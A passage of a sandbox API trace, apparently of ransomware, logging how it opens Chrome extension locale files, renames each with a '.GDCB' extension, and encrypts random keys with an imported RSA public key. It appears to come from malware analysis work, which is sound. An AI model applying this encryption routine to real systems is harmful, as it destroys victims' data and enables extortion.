(lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0278.834] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce20000 [0278.836] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce30000 [0278.839] ReadFile (in: hFile=0x470, lpBuffer=0xce30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xce30000*, lpNumberOfBytesRead=0x285ced8*=0x4029, lpOverlapped=0x0) returned 1 [0278.848] VirtualAlloc (lpAddress=0x0, dwSize=0x4030, flAllocationType=0x3000, flProtect=0x4) returned 0xcf40000 [0278.854] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs\\messages.json.gdcb")) returned 1 [0278.859] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0278.862] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0278.865] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0278.865] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0278.865] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0278.865] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0278.867] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0278.869] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0278.869] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0278.869] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0278.870] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0278.872] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678dee0) returned 1 [0278.872] CryptGetKeyParam (in: hKey=0x678dee0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0278.872] CryptEncrypt (in: hKey=0x678dee0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce00000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xce00000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0278.872] GetLastError () returned 0x0 [0278.872] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0278.872] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0278.874] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678dae0) returned 1 [0278.874] CryptGetKeyParam (in: hKey=0x678dae0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0278.874] CryptEncrypt (in: hKey=0x678dae0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce10000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xce10000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0278.874] GetLastError () returned 0x0 [0278.874] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0278.874] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0278.876] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce20000 [0278.879] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce30000 [0278.881] ReadFile (in: hFile=0x470, lpBuffer=0xce30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xce30000*, lpNumberOfBytesRead=0x285ced8*=0x3f79, lpOverlapped=0x0) returned 1 [0278.890] VirtualAlloc (lpAddress=0x0, dwSize=0x3f80, flAllocationType=0x3000, flProtect=0x4) returned 0xcf40000 [0278.896] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da\\messages.json.gdcb")) returned 1 [0278.902] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0278.905] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0278.907] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0278.907] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0278.907] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0278.907] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0278.910] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0278.913] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0278.913] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0278.913] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0278.914] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0278.916] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678e4e0) returned 1 [0278.916] CryptGetKeyParam (in: hKey=0x678e4e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0278.917] CryptEncrypt (in: hKey=0x678e4e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce00000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xce00000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0278.917] GetLastError () returned 0x0 [0278.917] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0278.917] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0278.919] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678e520) returned 1 [0278.919] CryptGetKeyParam (in: hKey=0x678e520, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0278.919] CryptEncrypt (in: hKey=0x678e520, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce10000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xce10000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0278.919] GetLastError () returned 0x0 [0278.919] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0278.919] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0278.921] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce20000 [0278.924] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce30000 [0278.928] ReadFile (in: hFile=0x470, lpBuffer=0xce30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xce30000*, lpNumberOfBytesRead=0x285ced8*=0x406f, lpOverlapped=0x0) returned 1 [0278.938] VirtualAlloc (lpAddress=0x0, dwSize=0x4070, flAllocationType=0x3000, flProtect=0x4) returned 0xcf40000 [0278.945] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de\\messages.json.gdcb")) returned 1 [0278.950] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0278.953] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0278.955] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0278.955] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0278.955] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0278.955] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0278.958] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0278.960] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0278.961] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0278.961] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0278.961] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0278.963] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678e7a0) returned 1 [0278.963] CryptGetKeyParam (in: hKey=0x678e7a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0278.964] CryptEncrypt (in: hKey=0x678e7a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce00000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xce00000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0278.964] GetLastError () returned 0x0 [0278.964] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0278.964] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0278.966] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678e2a0) returned 1 [0278.966] CryptGetKeyParam (in: hKey=0x678e2a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0278.966] CryptEncrypt (in: hKey=0x678e2a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce10000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xce10000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0278.966] GetLastError () returned 0x0 [0278.966] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0278.966] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0278.967] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce20000 [0278.970] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce30000 [0278.972] ReadFile (in: hFile=0x470, lpBuffer=0xce30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xce30000*, lpNumberOfBytesRead=0x285ced8*=0x4afe, lpOverlapped=0x0) returned 1 [0278.988] VirtualAlloc (lpAddress=0x0, dwSize=0x4b00, flAllocationType=0x3000, flProtect=0x4) returned 0xcf40000 [0278.995] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el\\messages.json.gdcb")) returned 1 [0279.008] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0279.011] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0279.014] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0279.014] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0279.014] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0279.014] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0279.017] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0279.019] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0279.019] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0279.019] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0279.019] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0279.021] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678e220) returned 1 [0279.021] CryptGetKeyParam (in: hKey=0x678e220, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0279.021] CryptEncrypt (in: hKey=0x678e220, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce00000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xce00000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0279.022] GetLastError () returned 0x0 [0279.022] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0279.022] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0279.023] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678e560) returned 1 [0279.023] CryptGetKeyParam (in: hKey=0x678e560, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0279.023] CryptEncrypt (in: hKey=0x678e560, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce10000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xce10000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0279.024] GetLastError () returned 0x0 [0279.024] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0279.024] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0279.025] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce20000 [0279.028] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce30000 [0279.030] ReadFile (in: hFile=0x470, lpBuffer=0xce30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xce30000*, lpNumberOfBytesRead=0x285ced8*=0x3d7a, lpOverlapped=0x0) returned 1 [0279.040] VirtualAlloc (lpAddress=0x0, dwSize=0x3d80, flAllocationType=0x3000, flProtect=0x4) returned 0xcf40000 [0279.046] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en\\messages.json.gdcb")) returned 1 [0279.055] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0279.059] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0279.061] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0279.061] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0279.061] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0279.061] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0279.063] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0279.065] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0279.065] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0279.065] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0279.065] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0279.068] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678e5a0) returned 1 [0279.068] CryptGetKeyParam (in: hKey=0x678e5a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0279.068] CryptEncrypt (in: hKey=0x678e5a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce00000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xce00000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0279.068] GetLastError () returned 0x0 [0279.068] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0279.068] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0279.070] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678e0e0) returned 1 [0279.070] CryptGetKeyParam (in: hKey=0x678e0e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0279.070] CryptEncrypt (in: 